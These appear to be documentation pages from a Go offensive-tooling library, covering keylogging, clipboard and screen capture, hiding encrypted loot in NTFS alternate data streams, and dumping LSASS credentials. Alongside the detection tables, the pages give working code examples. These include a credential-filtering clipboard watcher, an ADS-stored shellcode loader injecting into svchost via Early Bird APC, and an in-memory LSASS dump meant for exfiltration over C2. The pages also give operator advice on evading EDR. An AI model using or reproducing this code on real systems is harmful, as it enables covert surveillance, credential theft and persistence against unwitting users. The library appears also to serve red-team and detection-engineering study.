key, _ := crypto.NewAESKey()
var buf strings.Builder
for ev := range ch {
buf.WriteString(ev.Character)
if buf.Len() < 512 {
continue
}
blob, _ := crypto.EncryptAESGCM(key, []byte(buf.String()))
buf.Reset()
existing, _ := ads.Read(adsHost, adsStream)
_ = ads.Write(adsHost, adsStream, append(existing, blob...))
}
}
See ExampleStart in
keylog_example_test.go.
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
SetWindowsHookEx(WH_KEYBOARD_LL) call | Sysmon Event 7 (image load) and ETW Microsoft-Windows-Win32k; EDRs specifically watch LL hook installation |
| Global hook DLL loaded into every GUI process | Defender / MDE module-load telemetry |
Sustained GetMessage loop in a non-UI process | Behavioural heuristics — unusual message-pump activity |
GetForegroundWindow + QueryFullProcessImageName pairs | EDR API telemetry; rate unusually high for non-accessibility software |
GetClipboardData on every Ctrl+V | Clipboard access telemetry (Windows 10 1809+, Controlled Folder Access) |
D3FEND counters:
- D3-PA — behavioural analysis of process API usage patterns.
- D3-SCA — system-call sequence analysis, catches unusual LL hook setup.
Hardening for the operator: run inside a process that legitimately
installs hooks (accessibility layer, IME, screen reader lookalike); avoid
calling Start from a headless service where a message pump is anomalous.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1056.001 | Input Capture: Keylogging | full — WH_KEYBOARD_LL hook | D3-PA |
| T1115 | Clipboard Data | partial — captured only on Ctrl+V paste events | D3-PA |
Limitations
- One hook per process.
ErrAlreadyRunningprevents double-installation; multiple concurrent keylog sessions require separate processes. - Requires a Windows GUI session.
SetWindowsHookEx(WH_KEYBOARD_LL)is rejected in sessions without a desktop (SYSTEM service, Session 0). - Non-BMP Unicode. Surrogate-pair characters (emoji, rare CJK) may appear
split across two events or transliterated;
ToUnicodeExreturns two UTF-16 words in sequence. - EDR hook visibility. LL hooks are among the most scrutinised API calls in endpoint detections; combine with process masquerading if stealth is required.
See also
- Clipboard capture — standalone clipboard monitoring without a keyboard hook.
- Screen capture — combine with keylog for full session recording.
crypto— encrypt the event stream before writing to disk.cleanup/ads— hide collected data in NTFS ADS.- Operator path — post-exploitation collection chains.
- Detection eng path — hook-based detection telemetry.
Clipboard capture
← collection index · docs/index
TL;DR
ReadText returns the current clipboard text in one call. Watch polls
GetClipboardSequenceNumber and streams each new distinct text value on a
channel until the context is cancelled — no hooks, no DLL injection, pure
Win32 API that blends with legitimate software traffic.
Primer
Users routinely copy passwords, API keys, and session tokens to the clipboard — from password managers, browser address bars, and SSH key files. Clipboard monitoring captures that data in transit regardless of how the application populates the clipboard.
The implementation deliberately avoids clipboard notification hooks
(AddClipboardFormatListener, SetClipboardViewer). Those mechanisms require
a message window and are scrutinised by EDRs. Instead, Watch polls
GetClipboardSequenceNumber, a lightweight integer that the OS increments on
every clipboard write. When the number changes, OpenClipboard +
GetClipboardData(CF_UNICODETEXT) reads the new content. The poll interval
is caller-controlled: aggressive (100 ms) catches rapid-fire credential
pastes; gentle (1–5 s) is indistinguishable from benign polling.
ReadText is a one-shot variant for the case where the operator wants to
snapshot the clipboard immediately after gaining execution — for instance,
after a runas escalation that may have left a password on the clipboard.
How It Works
sequenceDiagram
participant User
participant App
participant OS as "Windows Clipboard"
participant Watch as "clipboard.Watch()"
User->>App: Ctrl+C (copy credential)
App->>OS: SetClipboardData(CF_UNICODETEXT)
OS->>OS: increment sequence number
loop every pollInterval
Watch->>OS: GetClipboardSequenceNumber()
alt sequence changed
Watch->>OS: OpenClipboard(0)
Watch->>OS: GetClipboardData(CF_UNICODETEXT)
OS-->>Watch: UTF-16LE handle
Watch->>Watch: UTF-16LE → UTF-8
Watch->>Watch: emit on channel
Watch->>OS: CloseClipboard()
end
end
Key implementation details:
GetClipboardSequenceNumberrequires no clipboard ownership and no message window — it is a pure read of a kernel counter.OpenClipboard(0)(null HWND) is valid and avoids creating a fake window that process-enumeration tools could flag.- On
ErrOpen(another process holds the clipboard momentarily)Watchsilently skips the tick rather than blocking — the next tick will retry. - The first value is emitted unconditionally on
Watchstart, regardless of whether the sequence number has changed since the last call.
API Reference
var ErrOpen
Returned by ReadText when OpenClipboard returns 0 — typically because
another process holds the clipboard at that instant.
ReadText() (string, error)
Return the current clipboard text as UTF-8.
Returns:
string— clipboard text; empty string if the clipboard holds noCF_UNICODETEXTdata.error—ErrOpenifOpenClipboardfails; OS error onGetClipboardDatafailure.
OPSEC: single OpenClipboard + GetClipboardData + CloseClipboard
sequence — identical to any legitimate paste operation.
Watch(ctx context.Context, pollInterval time.Duration) <-chan string
Poll the clipboard and stream each newly-copied text value.
Parameters:
ctx— cancellation; the returned channel is closed whenctxis done.pollInterval— sleep between polls; 100 ms–500 ms for aggressive capture, 1–5 s for stealthy background monitoring.
Returns:
<-chan string— receives the clipboard text each time the sequence number changes; closed on context cancellation. The first read is emitted unconditionally.
Side effects: spawns one background goroutine that runs until ctx is
done.
OPSEC: sustained poll cadence is the only fingerprint — unusually high
GetClipboardSequenceNumber rates (>10/s) stand out in API-frequency
telemetry.
Examples
Simple
import (
"context"
"fmt"
"time"
"github.com/oioio-space/maldev/collection/clipboard"
)
// One-shot read.
text, err := clipboard.ReadText()
if err == nil {
fmt.Println(text)
}
// Continuous monitor — print every change.
ctx, cancel := context.WithTimeout(context.Background(), 5*time.Minute)
defer cancel()
for content := range clipboard.Watch(ctx, 500*time.Millisecond) {
fmt.Println("copied:", content)
}
Composed (credential filter)
Emit only values that look like credentials — reduces noise and limits the on-disk footprint.
import (
"context"
"strings"
"time"
"unicode"
"github.com/oioio-space/maldev/collection/clipboard"
)
func looksLikeCredential(s string) bool {
if len(s) < 8 || len(s) > 512 {
return false
}
hasDigit, hasUpper, hasSpecial := false, false, false
for _, r := range s {
switch {
case unicode.IsDigit(r):
hasDigit = true
case unicode.IsUpper(r):
hasUpper = true
case !unicode.IsLetter(r) && !unicode.IsDigit(r):
hasSpecial = true
}
}
return (hasDigit && hasUpper) || hasSpecial ||
strings.ContainsAny(s, "@:$%#")
}
func credentialWatch(ctx context.Context) <-chan string {
out := make(chan string)
go func() {
defer close(out)
for text := range clipboard.Watch(ctx, 300*time.Millisecond) {
if looksLikeCredential(text) {
out <- text
}
}
}()
return out
}
Advanced (encrypt-then-log to per-day file)
Encrypt each clipboard entry with AES-GCM before writing to disk — the on-disk artefact is opaque to YARA/string scanning.
import (
"context"
"fmt"
"log"
"os"
"time"
"github.com/oioio-space/maldev/collection/clipboard"
"github.com/oioio-space/maldev/crypto"
)
func main() {
key, err := crypto.NewAESKey()
if err != nil {
log.Fatal(err)
}
logPath := fmt.Sprintf("clip-%s.bin", time.Now().Format("2006-01-02"))
f, err := os.OpenFile(logPath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0o600)
if err != nil {
log.Fatal(err)
}
defer f.Close()
for text := range clipboard.Watch(context.Background(), 500*time.Millisecond) {
blob, _ := crypto.EncryptAESGCM(key, []byte(text))
_, _ = f.Write(blob)
}
}
See ExampleReadText in
clipboard_example_test.go.
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
Repeated OpenClipboard + GetClipboardData calls | API-frequency telemetry; rate-based hunts flag >10 open/close cycles per second |
GetClipboardSequenceNumber in a tight loop | Behavioural heuristics; legitimate apps call this at human-interaction rates |
| Clipboard-access audit log (Windows 10 1809+) | Privacy Settings → Clipboard history; third-party EDR clipboard hooks |
| Process making clipboard calls without a visible UI | Anomaly heuristics in MDE / CrowdStrike behavioural engine |
D3FEND counters:
- D3-PA — behavioural API-usage analysis.
Hardening for the operator: use a 500 ms or slower poll interval; embed the monitor in a process that legitimately accesses the clipboard (browser helper, password-manager lookalike); avoid running from a headless service where clipboard access is anomalous.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1115 | Clipboard Data | full — both one-shot and continuous polling | D3-PA |
Limitations
- Text only.
CF_UNICODETEXTformat only; binary clipboard data (images, file paths viaCF_HDROP, rich text) is not captured. - Session boundary. Clipboard access is confined to the current Windows session; an implant in Session 0 cannot read Session 1 clipboard data.
- Race on
ErrOpen. If another process holds the clipboard continuously (rare but possible),Watchwill silently miss those ticks. - Windows only. No Linux/macOS equivalent; build tag
windowsis required.
See also
- Keylogging — captures Ctrl+V paste events as part of the keystroke stream.
- Screen capture — visual complement to clipboard and keystroke collection.
crypto— encrypt captured text before writing to disk.cleanup/ads— hide log files in NTFS ADS.- Operator path — post-exploitation collection chains.
- Detection eng path — clipboard monitoring detection telemetry.
Screen capture
← collection index · docs/index
TL;DR
Capture() returns the entire virtual desktop as PNG bytes using GDI
BitBlt. For multi-monitor targets, DisplayCount + CaptureDisplay(i)
enumerate and capture individual screens. CaptureRect grabs any
rectangular region. All three variants return []byte — send directly to
a C2 channel or stash in an ADS.
Primer
Screen capture gives the operator a visual snapshot of the user's session: open documents, browser windows, RDP sessions, and credential dialogs all appear in the PNG. It is the fastest way to understand what the target is doing without generating process or file activity.
The implementation uses the GDI device-context model: GetDC(0) acquires
a handle to the screen device context, CreateCompatibleDC + CreateCompatibleBitmap
build an off-screen buffer, BitBlt(SRCCOPY) copies the screen pixels into
that buffer, and GetDIBits extracts the raw BGRA pixel data. A final
in-place channel swap (BGRA → RGBA) feeds Go's image/png encoder, which
produces the final []byte. All GDI handles are cleaned up before return.
Multi-monitor support uses EnumDisplayMonitors to collect each monitor's
bounding rectangle in virtual-desktop coordinates, then performs a
CaptureRect on each rectangle. The rectangles may overlap (mirrored
displays) or be non-contiguous (extended desktop) — coordinates are in
virtual-desktop space and handled transparently by GDI.
How It Works
sequenceDiagram
participant Code as "screenshot.Capture()"
participant GDI as "GDI32 / User32"
participant Enc as "png.Encode"
Code->>GDI: GetDC(0) → screen DC
Code->>GDI: CreateCompatibleDC(screenDC) → mem DC
Code->>GDI: CreateCompatibleBitmap(screenDC, w, h) → hBmp
Code->>GDI: SelectObject(memDC, hBmp)
Code->>GDI: BitBlt(memDC, SRCCOPY)
Code->>GDI: GetDIBits → BGRA []byte
Code->>Code: BGRA → RGBA (in-place)
Code->>Enc: png.Encode(RGBA image)
Enc-->>Code: []byte PNG
Code->>GDI: DeleteObject, DeleteDC, ReleaseDC
For CaptureDisplay(i):
enumDisplays()callsEnumDisplayMonitorsto build[]image.Rectangle.- Index bounds are checked against the slice;
ErrDisplayIndexon overflow. CaptureRect(r.Min.X, r.Min.Y, r.Dx(), r.Dy())is called with the monitor's virtual-desktop rectangle.
API Reference
var ErrCapture, var ErrInvalidRect, var ErrDisplayIndex
Sentinel errors:
ErrCapture— a GDI call failed during pixel extraction.ErrInvalidRect—widthorheightis ≤ 0 inCaptureRect.ErrDisplayIndex—index≥DisplayCount()inCaptureDisplay.
Capture() ([]byte, error)
Capture the entire virtual desktop (all monitors combined) as a PNG.
Returns:
[]byte— PNG-encoded screenshot.error—ErrCapturewrapping the GDI failure; nil on success.
OPSEC: GetDC(0) + BitBlt are high-volume legitimate APIs used by
screen-sharing, video-capture, and accessibility software.
CaptureRect(x, y, width, height int) ([]byte, error)
Capture a specific rectangle of the virtual desktop as a PNG.
Parameters:
x,y— top-left corner in virtual-desktop pixel coordinates.width,height— dimensions in pixels; both must be > 0.
Returns:
[]byte— PNG of the requested region.error—ErrInvalidRectif dimensions are ≤ 0;ErrCaptureon GDI failure.
DisplayCount() int
Return the number of currently attached monitors via EnumDisplayMonitors.
Returns 0 if enumeration fails.
DisplayBounds(index int) image.Rectangle
Return the bounding rectangle of monitor index (zero-based) in
virtual-desktop coordinates. Returns image.Rectangle{} if index is out
of range.
CaptureDisplay(index int) ([]byte, error)
Capture a single monitor by index as a PNG.
Parameters:
index— zero-based monitor index; useDisplayCountto enumerate.
Returns:
[]byte— PNG of the monitor.error—ErrDisplayIndexifindex ≥ DisplayCount();ErrCaptureon GDI failure.
Examples
Simple
import (
"os"
"github.com/oioio-space/maldev/collection/screenshot"
)
png, err := screenshot.Capture()
if err != nil {
panic(err)
}
_ = os.WriteFile("screen.png", png, 0o600)
Composed (all monitors, timestamped files)
import (
"fmt"
"os"
"time"
"github.com/oioio-space/maldev/collection/screenshot"
)
func captureAll(outDir string) {
ts := time.Now().Format("150405")
count := screenshot.DisplayCount()
for i := 0; i < count; i++ {
png, err := screenshot.CaptureDisplay(i)
if err != nil {
continue
}
name := fmt.Sprintf("%s/%s_mon%d.png", outDir, ts, i)
_ = os.WriteFile(name, png, 0o600)
}
}
Advanced (interval capture + encrypt + ADS stash)
Capture every 30 s, encrypt each frame with AES-GCM, and append to an NTFS ADS on a pre-existing system file — no new files on disk, content opaque to file scanners.
import (
"context"
"time"
"github.com/oioio-space/maldev/cleanup/ads"
"github.com/oioio-space/maldev/collection/screenshot"
"github.com/oioio-space/maldev/crypto"
)
const (
adsHost = `C:\ProgramData\Microsoft\Windows\Caches\thumbs.db`
adsStream = "frames"
)
func main() {
key, _ := crypto.NewAESKey()
ctx := context.Background()
tick := time.NewTicker(30 * time.Second)
defer tick.Stop()
for {
select {
case <-ctx.Done():
return
case <-tick.C:
png, err := screenshot.Capture()
if err != nil {
continue
}
blob, _ := crypto.EncryptAESGCM(key, png)
existing, _ := ads.Read(adsHost, adsStream)
_ = ads.Write(adsHost, adsStream, append(existing, blob...))
}
}
}
See ExampleCapture and ExampleCaptureDisplay in
screenshot_example_test.go.
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
GetDC(0) + BitBlt(SRCCOPY) in a non-GUI process | Behavioural heuristics; screen-capturing from a headless service is anomalous |
High-frequency BitBlt calls | API-frequency telemetry; video-capture rate (>1/s) from a non-known app |
| Large heap allocation for pixel buffer | Memory telemetry; w×h×4 bytes (e.g., 8 MB for 1920×1080) allocated by non-UI process |
| PNG files or large binary blobs written to disk | File-write telemetry — mitigated by ADS stashing and encryption |
EnumDisplayMonitors call | Low signal alone; combined with BitBlt adds confidence |
D3FEND counters:
- D3-PA — behavioural API-usage analysis.
Hardening for the operator: limit capture frequency (1 per 30 s or less blends with screensaver / remote-desktop activity); embed in a process that legitimately renders graphics; send captures over an existing C2 channel rather than writing to disk.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1113 | Screen Capture | full — primary, rect, per-monitor | D3-PA |
Limitations
- Windows only. GDI APIs are not available on Linux/macOS; build tag
windowsis required. - Requires a desktop session.
GetDC(0)returns NULL in Session 0 (SYSTEM service); the call must run in an interactive or remote-desktop session. - DWM exclusion. Windows 10/11 DWM may exclude DRM-protected content
(Netflix, Widevine) from
BitBltresults — protected windows appear black. - No hardware cursor. The captured PNG does not include the software cursor overlay; the mouse pointer position is not visible in the output.
- Virtual desktop coordinates. Multi-monitor setups with non-standard
DPI scaling may produce coordinates that differ from what the user sees
in display settings — use
DisplayBoundsto verify beforeCaptureRect.
See also
- Keylogging — text complement to visual capture.
- Clipboard capture — capture credential pastes.
crypto— encrypt PNG bytes before storage.cleanup/ads— hide frames in NTFS ADS.c2/transport— exfiltrate PNG bytes over the C2 channel.- Operator path — post-exploitation collection chains.
- Detection eng path — GDI-based collection detection telemetry.
NTFS Alternate Data Streams
MITRE ATT&CK: T1564.004 -- Hide Artifacts: NTFS File Attributes | Detection: Medium
<- Back to Collection Overview
Package: cleanup/ads
Platform: Windows (NTFS required)
Primer
Imagine a filing cabinet where every folder has a visible main pocket, but also a row of thin hidden pockets along the back that most people don't know exist. You can stuff papers into those hidden pockets and they won't appear when someone looks inside the folder normally — only someone who specifically searches for the hidden pockets will find them.
NTFS Alternate Data Streams work exactly like that. Every file on an NTFS volume has a default data stream (the file content you see when you open it). But the filesystem also allows any number of named streams on the same file path. Writing document.txt:secret stores data alongside document.txt without affecting its visible size, content, or timestamp. Windows Explorer, dir, and most file browsers only show the default stream — the hidden streams are invisible unless you use streams.exe, PowerShell's Get-Item -Stream *, or an EDR that actively enumerates them.
This makes ADS useful for stashing payloads on legitimate-looking files, persisting data across reboots without dropping new files, and the cleanup/selfdelete package already uses an ADS rename internally to delete the running binary.
How It Works
sequenceDiagram
participant Attacker as "Attacker Process"
participant NTFS as "NTFS Driver"
participant File as "document.txt (on disk)"
Attacker->>NTFS: os.WriteFile("document.txt:payload", data)
NTFS->>File: Create named stream ":payload:$DATA"
Note over File: Default stream unchanged\nHidden stream now exists
Attacker->>NTFS: FindFirstStreamW("document.txt")
NTFS-->>Attacker: "::$DATA" (default), ":payload:$DATA"
Note over Attacker: List() filters out ::$DATA\nReturns [{Name:"payload", Size:N}]
Attacker->>NTFS: os.ReadFile("document.txt:payload")
NTFS-->>Attacker: raw bytes
Attacker->>NTFS: os.Remove("document.txt:payload")
NTFS->>File: Delete named stream only\nDefault stream untouched
Step-by-step:
- Write --
os.WriteFilewith pathfile:streamNamecreates or overwrites the named stream. The default file content and metadata are unaffected. - List --
FindFirstStreamW/FindNextStreamWenumerate all streams. TheList()helper strips the default::$DATAstream and returns only user-created ones. - Read --
os.ReadFilewith thefile:streamNamesyntax reads the hidden stream content directly. - Delete --
os.Removeonfile:streamNamedeletes only that stream; the host file is preserved. - Undeletable files -- The
\\?\prefix bypasses Win32 name normalization, allowing filenames ending with dots (...) that Explorer andcmd.execannot navigate to or delete. Only\\?\-prefixed paths orNtCreateFilecan access them.
Usage
package main
import (
"fmt"
"log"
"github.com/oioio-space/maldev/cleanup/ads"
)
func main() {
host := `C:\Users\Public\desktop.ini`
payload := []byte{0x90, 0x90, 0xCC} // shellcode placeholder
// Store shellcode in a hidden stream.
if err := ads.Write(host, "payload", payload); err != nil {
log.Fatal(err)
}
// Enumerate all hidden streams.
streams, err := ads.List(host)
if err != nil {
log.Fatal(err)
}
for _, s := range streams {
fmt.Printf("stream: %s (%d bytes)\n", s.Name, s.Size)
}
// Read it back.
data, err := ads.Read(host, "payload")
if err != nil {
log.Fatal(err)
}
fmt.Printf("read %d bytes\n", len(data))
// Clean up.
if err := ads.Delete(host, "payload"); err != nil {
log.Fatal(err)
}
}
Combined Example
package main
import (
"log"
"os"
"github.com/oioio-space/maldev/cleanup/ads"
"github.com/oioio-space/maldev/crypto"
"github.com/oioio-space/maldev/inject"
)
func main() {
// 1. Retrieve XOR-encoded shellcode from an ADS on a benign system file.
// The host file is untouched; only the hidden stream carries the payload.
encoded, err := ads.Read(`C:\Windows\System32\licensemanager.exe`, "cfg")
if err != nil {
log.Fatal(err)
}
shellcode, err := crypto.XORWithRepeatingKey(encoded, []byte("k3y"))
if err != nil {
log.Fatal(err)
}
// 2. Create an undeletable staging file for persistence.
// Trailing-dot names cannot be accessed or removed via Explorer / cmd.
stagingDir := os.TempDir()
_, err = ads.CreateUndeletable(stagingDir, shellcode)
if err != nil {
log.Fatal(err)
}
// 3. Inject via Early Bird APC.
injector, err := inject.Build().
Method(inject.MethodEarlyBirdAPC).
ProcessPath(`C:\Windows\System32\svchost.exe`).
IndirectSyscalls().
Create()
if err != nil {
log.Fatal(err)
}
if err := injector.Inject(shellcode); err != nil {
log.Fatal(err)
}
}
Cleanup — Deleting Undeletable Files
ads.DeleteUndeletable(path)
Since these files use trailing-dot filenames that bypass Win32 normalization,
only the \\?\ prefix (used internally by DeleteUndeletable) or NT-level
deletion can remove them.
Advantages & Limitations
| Aspect | Detail |
|---|---|
| Stealth | Medium -- streams are invisible to Explorer and dir. Detected by Sysinternals Streams, PowerShell Get-Item -Stream *, and EDRs that call FindFirstStreamW. |
| Compatibility | Good -- ADS requires NTFS; FAT32/exFAT volumes silently drop streams. Works on files and directories. |
| Reliability | High -- stream I/O uses standard os.ReadFile / os.WriteFile; no custom syscalls needed. |
| Undeletable files | The \\?\ + trailing-dot trick survives reboots and cannot be removed via Explorer, cmd.exe, or del. Requires elevated NtDeleteFile or a raw NT path to clean up. |
| Limitations | Host file must already exist on an NTFS volume. ADS size counts against the volume quota. Streams are lost when the file is copied to a non-NTFS destination (e.g., FAT32 USB drive, email attachment). |
| Detection bypass | Zone.Identifier (the browser download ADS) is well-known; custom stream names are less scrutinised but uncommon stream names can stand out in EDR telemetry. |
API Reference
// StreamInfo describes an alternate data stream.
type StreamInfo struct {
Name string
Size int64
}
// List returns all named alternate data streams on path (excludes the default ::$DATA stream).
// Uses FindFirstStreamW / FindNextStreamW.
func List(path string) ([]StreamInfo, error)
// Read returns the content of the named stream.
// Equivalent to os.ReadFile(path + ":" + streamName).
func Read(path, streamName string) ([]byte, error)
// Write creates or overwrites the named stream.
// Equivalent to os.WriteFile(path + ":" + streamName, data, 0644).
func Write(path, streamName string, data []byte) error
// Delete removes a named stream without affecting the host file.
// Returns a wrapped error on failure so callers can use errors.Is.
func Delete(path, streamName string) error
// CreateUndeletable creates a file named "..." inside dir using the \\?\ prefix.
// The resulting path cannot be accessed or deleted by Explorer or cmd.exe.
// Returns the plain (non-\\?\) path so it can be passed to ReadUndeletable.
func CreateUndeletable(dir string, data []byte) (string, error)
// ReadUndeletable reads a file created by CreateUndeletable.
// Prepends \\?\ internally to bypass Win32 name normalisation.
func ReadUndeletable(path string) ([]byte, error)
// DeleteUndeletable removes a file created by CreateUndeletable.
// Uses the \\?\ prefix to bypass Win32 name normalization.
func DeleteUndeletable(path string) error
See also
- Collection area README
cleanup/ads— sister NTFS Alternate Data Stream primitives (CRUD-only, used during scrub)evasion/stealthopen— read ADS payloads via NTFS Object ID, bypassing path-based EDR file hooks
LSASS Credential Dump
MITRE ATT&CK: T1003.001 — OS Credential Dumping: LSASS Memory
Package: credentials/lsassdump
Platform: Windows
Detection: High
Primer
lsass.exe holds, in memory, every credential material the OS has seen
since boot: NTLM hashes (MSV), Kerberos TGT/keys, WDigest plaintexts
(when enabled), DPAPI master keys, cached domain credentials, and
CloudAP / Live session tokens. Dumping the process and feeding the blob
to mimikatz / pypykatz is the single most common lateral-movement prime
in Windows red-team engagements.
The loud path — MiniDumpWriteDump(lsass.exe, out.dmp, MiniDumpWithFullMemory) —
is blocked or alerted by every modern EDR: MiniDumpWriteDump is
heavily hooked, and so is OpenProcess(PROCESS_VM_READ, lsass.pid) on
its own.
credentials/lsassdump ships a quieter variant:
- Stealthier process discovery:
NtGetNextProcesswalks the running-process list withPROCESS_QUERY_LIMITED_INFORMATIONonly (cheap access that even protected processes grant). NoEnumProcessescall, no PID enumeration via ToolHelp. - Minimal audit surface: the single
VM_READrequest only targets lsass.exe — viaNtOpenProcess(CLIENT_ID{pid, 0}, QUERY_LIMITED|VM_READ)after the walk identifies it. No other process is opened withVM_READ. - No dbghelp: the MINIDUMP blob is assembled in-process, streaming
to the caller's
io.Writer.MiniDumpWriteDumpis never imported. - Caller-routed syscalls: every
Nt*call accepts an optional*wsyscall.Callerso the operator can route via direct / indirect syscalls / Hell's Gate, bypassing ntdll function-start hooks.
How It Works
sequenceDiagram
participant C as "Caller"
participant D as "lsassdump.Dump"
participant K as "NTDLL / kernel32"
participant L as "lsass.exe"
C->>D: OpenLSASS(caller)
loop NtGetNextProcess walk
D->>K: NtGetNextProcess(cur, QUERY_LIMITED)
K-->>D: next handle
D->>K: NtQueryInformationProcess(ImageFileName)
alt name == "lsass.exe"
D->>K: NtQueryInformationProcess(Basic) → PID
D->>K: NtOpenProcess(pid, QUERY_LIMITED | VM_READ)
K-->>D: lsass handle
end
end
C->>D: Dump(handle, w, caller)
loop for each VM region
D->>K: NtQueryVirtualMemory(handle, addr)
D->>K: NtReadVirtualMemory(handle, addr, size)
K-->>D: bytes
end
D->>C: MINIDUMP stream to w
C->>D: CloseLSASS(handle)
Step-by-step:
OpenLSASS(caller)walks the process list with QUERY_LIMITED_INFORMATION.- For each handle,
NtQueryInformationProcess(ProcessImageFileName, 27)returns the image path; we basename-match case-insensitively againstlsass.exe. - On match,
NtQueryInformationProcess(ProcessBasicInformation, 0)yields the PID. The walk handle is closed. NtOpenProcessopens the target withQUERY_LIMITED | VM_READ.STATUS_ACCESS_DENIED→ErrOpenDenied(need admin);STATUS_PROCESS_IS_PROTECTED→ErrPPL(Credential Guard / RunAsPPL=1).Dump(h, w, caller)assembles a MINIDUMPConfig:- Regions:
NtQueryVirtualMemoryloop from addr 0, every committed non-free non-guard region, contents viaNtReadVirtualMemoryin one shot. - Modules:
K32EnumProcessModulesEx(LIST_MODULES_ALL)+K32GetModuleFileNameExW(path-hooked psapi today; PEB-walk variant is future work). - SystemInfo:
win/version.Current()under the hood, so credential parsers pick the right per-build offset table.
- Regions:
minidump.Build(w, cfg)streams the four streams (SystemInfoStream, ThreadListStream, ModuleListStream, Memory64ListStream) plus raw region bytes — no intermediate buffer for memory contents.
Usage
import (
"github.com/oioio-space/maldev/credentials/lsassdump"
)
func main() {
stats, err := lsassdump.DumpToFile(`C:\ProgramData\Intel\snapshot.bin`, nil)
if err != nil {
switch {
case errors.Is(err, lsassdump.ErrOpenDenied):
// Need admin. Escalate or bail.
case errors.Is(err, lsassdump.ErrPPL):
// Credential Guard / RunAsPPL=1 — separate unprotect chantier.
default:
log.Fatal(err)
}
}
fmt.Printf("dumped %d regions / %d bytes / %d modules\n",
stats.Regions, stats.Bytes, stats.ModuleCount)
}
Stealthier syscalls via *wsyscall.Caller
caller := wsyscall.New(wsyscall.MethodIndirect, wsyscall.NewHellsGate())
stats, err := lsassdump.DumpToFile("snapshot.bin", caller)
// Every NtGetNextProcess / NtQueryInformationProcess /
// NtQueryVirtualMemory / NtReadVirtualMemory / NtOpenProcess above
// goes through caller → no ntdll function-start hook ever fires.
Streaming into memory (no on-disk artifact)
var buf bytes.Buffer
h, err := lsassdump.OpenLSASS(nil)
if err != nil { log.Fatal(err) }
defer lsassdump.CloseLSASS(h)
stats, err := lsassdump.Dump(h, &buf, nil)
// buf now holds the full MINIDUMP — exfil via C2 without ever writing.
Validation
The package's TestDumpToFile_ProducesValidMiniDump runs on the
Windows VM under MALDEV_INTRUSIVE=1 and asserts:
- MDMP magic + version 42899 + 4 streams
- At least one memory region and one module
- File size > 1 MB (lsass is typically 50–200 MB of committed VM)
A real run against an unprotected Win10 VM parses cleanly with
pypykatz — MSV NT hashes, WDigest plaintexts (if available), Kerberos
session material, DPAPI master keys, and CloudAP tokens all come
through. Compatibility with mimikatz is equivalent by construction:
the stream layout matches MiniDumpWriteDump(MiniDumpWithFullMemory).
Limitations
- PPL-protected lsass (default on Win11, opt-in on Win10 via
RunAsPPL=1or Credential Guard) refuses VM_READ to userland. The package now ships an EPROCESS-unprotect path (Unprotect(rw driver.ReadWriter, eprocess uintptr, tab PPLOffsetTable)): caller plugs in akernel/driver.ReadWriter(RTCore64, GDRV, custom), passes lsass's EPROCESS kernel VA + the build'sPS_PROTECTIONbyte offset, and Unprotect zeros the byte. A subsequentOpenLSASSsucceeds normally;Reprotect(tok, rw)puts the byte back. Caller is responsible for resolving lsass's EPROCESS upstream (PsActiveProcessHead walk / handle-table parse / bring your own primitive) — different attack chains use different walks, so wrapping that lookup is not part of the surface. See BYOVD — RTCore64 for the driver-side primitive andkernel/driver/rtcore64's SCM lifecycle. - Module enumeration uses
K32EnumProcessModulesEx(psapi), which is path-hooked by some EDRs. A PEB-walk variant (InMemoryOrderModuleList) is tracked as future work. - Threads are not captured — the ThreadListStream is emitted with zero entries. Credential parsers (mimikatz / pypykatz) only need modules + memory; threads are cosmetic for our use case. Can be added if a consumer explicitly needs context bytes (e.g., live debugger open).
- No chunked reads: each region is read in one
NtReadVirtualMemory. For a 200 MB capture this means a 200 MB allocation cross-pagefile — acceptable for the threat model but a future optimisation.
API Reference
// OpenLSASS walks NtGetNextProcess with QUERY_LIMITED, matches lsass.exe
// by ProcessImageFileName, reopens via NtOpenProcess(pid, QUERY_LIMITED |
// VM_READ). Pair every successful call with CloseLSASS.
func OpenLSASS(caller *wsyscall.Caller) (uintptr, error)
// CloseLSASS closes the handle returned by OpenLSASS.
func CloseLSASS(h uintptr) error
// Dump streams a MINIDUMP blob (MDMP, FullMemory + HandleData +
// ThreadInfo + TokenInformation) describing handle h to w. Stats
// summarises what landed.
func Dump(h uintptr, w io.Writer, caller *wsyscall.Caller) (Stats, error)
// DumpToFile is OpenLSASS + Dump + file.Sync + file.Close in one call.
// File is created 0o600; removed if Dump fails.
func DumpToFile(path string, caller *wsyscall.Caller) (Stats, error)
// Error sentinels for common failure modes.
var (
ErrLSASSNotFound = errors.New("...")
ErrOpenDenied = errors.New("...")
ErrPPL = errors.New("...")
)
// Stats describes what Dump emitted. Surfaces via Dump/DumpToFile.
type Stats struct {
Regions int
Bytes uint64
ModuleCount int
ThreadCount int
}
// Config + Build are exported for callers that want to build a
// MINIDUMP from arbitrary memory (e.g., a memory snapshot replay or
// a test fixture). See minidump.go for field docs.
func Build(w io.Writer, cfg Config) (Stats, error)
See also
- Collection area README
credentials/lsassdump— canonical owner of the LSASS dump producer (PPL bypass + MINIDUMP build)credentials/sekurlsa— pure-Go MINIDUMP parser; consumes the bytes produced here
Credential access
Pure-Go credential-extraction primitives for Windows: live LSASS
process dumping, offline SAM hive parsing, in-process MINIDUMP
parsing, and Kerberos ticket forging. The four packages chain
end-to-end — lsassdump produces a dump, sekurlsa parses it
into typed credentials, goldenticket re-uses an extracted
krbtgt hash to mint a Golden TGT, and samdump covers the
local-account branch when LSASS access is unavailable.
flowchart LR
subgraph host [Live Windows host]
L[lsass.exe<br>memory]
S[SYSTEM + SAM<br>hives]
K[krbtgt key<br>on a DC]
end
subgraph extract [credentials/*]
LD[lsassdump<br>NtReadVirtualMemory<br>+ in-process MINIDUMP<br>+ optional PPL bypass]
SE[sekurlsa<br>parse MINIDUMP<br>walk MSV / Wdigest /<br>Kerberos / DPAPI / TSPkg /<br>CloudAP / LiveSSP / CredMan]
SD[samdump<br>REGF parser<br>+ syskey / hashed bootkey<br>+ AES/RC4/DES decrypt]
end
subgraph forge [credentials/*]
GT[goldenticket<br>Forge + Submit]
end
L --> LD
LD --> SE
S --> SD
K --> SE
